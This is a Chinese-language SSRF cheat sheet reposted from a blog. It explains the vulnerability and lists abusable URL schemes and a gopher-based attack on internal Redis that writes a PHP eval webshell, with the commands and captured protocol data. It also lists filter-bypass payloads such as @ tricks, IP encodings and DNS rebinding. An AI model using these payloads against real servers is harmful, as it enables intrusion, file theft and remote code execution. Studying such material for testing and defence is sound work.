1.SSRF 定义
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
2.漏洞原理
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
比如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器
3.漏洞影响
- 读取或更新内部资源,造成本地文件泄露;
- 将含有漏洞防主机用作代理/跳板攻击内网主机,绕过防火墙等;
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
- 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
- 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
4.伪协议
- file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
- dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
- sftp:// SSH文件传输协议或安全文件传输协议
- ldap:// 轻量级目录访问协议
- tftp:// 简单文件传输协议
- gopher:// 分布式文档传递服务,可使用gopherus生成payload
gopher伪协议研究
转换规则:
- 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
- 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
- 将\r字符串替换成%0d%0a。
- 空白行替换为%0a。
- 问号需要转码为URL编码%3f,同理空格转换成%20。
- 在HTTP包的最后要加%0d%0a,代表消息结束。
发送HTTP请求:
GET /edit.php?a=Hi HTTP/1.1
Host: 127.0.0.1
Connection: close
curl gopher://127.0.0.1:80/_GET%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0a
攻击内网 Redis:
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:
127.0.0.1:6379> flushall
Ok
127.0.0.1:6379> set 1 '<?php eval(_GET["cmd"]);?>'
OK
127.0.0.1:6379> config set dir /www/wwwroot/
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379> exit
利用这个脚本攻击自身并抓包得到数据流:
*1
$7
COMMAND
*1
flushall
*3
$3
set
$1
1
$27
<?php eval(_GET["cmd"]);?>
*4
$6
config
$3
set
$3
dir
$13
/www/wwwroot/
......
按上述转换规则转换成gopher码后,成功生成shell.php。
关于gopher协议利用的工具:
https://github.com/tarunkant/Gopherus(该工具生成 gopher 链接,用于利用 SSRF 并在各种服务器中获取 RCE)
关于gopher协议的学习:
https://blog.chaitin.cn/gopher-attack-surfaces
5.绕过方法
30X跳转
启动一个web服务,放访问这个服务时,会自动重定向到127.0.0.1
。
添加@绕过
提交参数要求必须以http://www.baidu.com
开头,但我们访问内网文件的话,该怎么访问呢,这个时候就用到了@
字符,我们构造payload如下
http://[email protected]/flag.php
特殊数字
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
句号替代.绕过
127。0。0。1 = 127.0.0.1
省略0
当过滤127.0.0.1
整体时,还有一种绕过方式就是省略中间的0,这个时候也是可以访问的
127...1 = 127.0.0.1
进制转换
将127.0.0.1
进行转换,转换为其他进制的数从而绕过检测,进制转换结果如下
0177.0.0.1 //八进制
0x7f.0.0.1 //十六进制
2130706433 //十进制
特殊0
在windows中,0代表0.0.0.0
,而在linux下,0代表127.0.0.1
,如下所示
url=http://0/flag.php
利用[::]
利用[::]绕过localhost
http://[::]:80/ = http://127.0.0.1
短地址
找一个生成短网址的网站
DNS重绑定
DNS是Domain Name Service的缩写,计算机域名服务器,在Internet上域名与IP地址之间是一一对应的,域名虽然便于人们记忆,但机器之间只能互相认识IP地址,它们之间的转换工作称为域名解析,而域名解析需要由专门的域名解析服务器来完成,这就是DNS域名服务器。
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS 重绑定攻击。
攻击过程如下
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:
服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
对于获得的IP进行判断,发现为非黑名单IP,则通过验证
服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
标签:127.0,SSRF,0.1,域名,CheatSheet,DNS,IP地址,服务器
From: https://www.cnblogs.com/you-fish/p/18291528